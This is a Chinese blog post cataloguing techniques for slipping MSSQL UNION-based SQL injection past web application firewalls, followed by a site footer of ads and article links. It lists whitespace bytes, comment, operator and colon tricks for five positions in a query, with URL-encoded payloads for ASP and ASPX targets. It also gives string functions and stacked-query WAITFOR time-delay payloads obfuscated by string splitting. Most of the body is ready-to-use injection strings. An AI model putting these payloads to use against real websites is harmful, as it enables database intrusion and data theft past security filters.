WAF Bypass数据库特性(MSsql探索篇)
0x01 背景
探索玩了Mysql特性,继续来探索一下MSsql特性。
0x02 测试
常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
位置一:参数和union之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)浮点数
select * from admin where id=1.1union select 1,'2',db_name() from admin
(4)1E0的形式:
select * from admin where id=1e0union select 1,'2',db_name() from admin
(5)运算符
包括加(+)、减(-)、乘(*)、除(/)、求于(%)、位与(&)、位或(|)、位异或(^)
select username,password,id from admin where id=1-1union select '1',system_user,3 from admin
select username,password,id from admin where id=1e-union select '1',system_user,3 from admin
(6)小区别:
ASPX:[0x00-0x20]、ox2e、[0x30-0x39]、ox45、ox65、[0x80-0xff]、运算符
ASP: [0x01-0x20]、ox2e、[0x30-0x39]、ox45、ox65、运算符
单引号:select username,password,id from admin where id=1 and '1'like'1'union select null,null,null
位置二:union和select之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a 冒号
select * from admin where id=1 union:select 1,'2',db_name() from:admin
ASPX:[0x00-0x20]、0x3a、[0x80-0xff]要组合前面的两个才能执行,如%3a%a0、%a0%0a
ASP: [0x01-0x20] 、0x3a
位置三:select和查询参数之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
%2b + select * from admin where id=1 union select+1,'2',db_name() from admin
%2d - select * from admin where id=1 union select-1,'2',db_name() from admin
%2e . select * from admin where id=1 union select.1,'2',db_name() from admin
%3a : select * from admin where id=1 union select:1,'2',db_name() from admin
%7e ~ select * from admin where id=1 union select~1,'2',db_name() from admin
位置四:查询参数和from之间的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
ASP: [0x01-0x20]、0x2e、[0x30-0x39]、0x45、0x65、[0x80-0xff]
ASPX:[0x00-0x20]、0x2e、[0x30-0x39]、0x45、0x65、
id=1%20union%20select%201,'2',db_name()%80from%20admin
db_name与()中间 %00-%20 %80-%ff填充
id=1 union select 1,'2',db_name+() from admin
位置五:from后面的位置
(1)空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
(2)注释符号
Mssql也可以使用注释符号/**/
(3)其他符号
: %3a select * from admin where id=1 union:select 1,'2',db_name() from:admin
. %2e select * from admin where id=1 union select 1,'2',db_name() from.information_schema.SCHEMATA
ASP: [0x01-0x20]、0x2e、0x3a
ASPX: [0x00-0x20]、0x2e、0x3a、[0x80-0xff]
0x03 函数
(1)字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
(2)字符串转换函数
Ascii(‘a’)
Char(‘97’)
这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
(3) 其他方式
利用存储过程
mssql的存储过程定义为:
1 2 3 | Declare @s varchar(5000) //申明变量@s 类型为varchar(5000) Set @ //给@s变量赋值 Exec(@s) //执行@s |
id=1;Exec('WA'+'ITFOR DELAY ''0:0:5''')
id=1;declare @test nvarchar(50);set @test='wait'+'for delay ''0:0:5''';exec sp_executesql @test
持续更新中。。。。。。。。。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫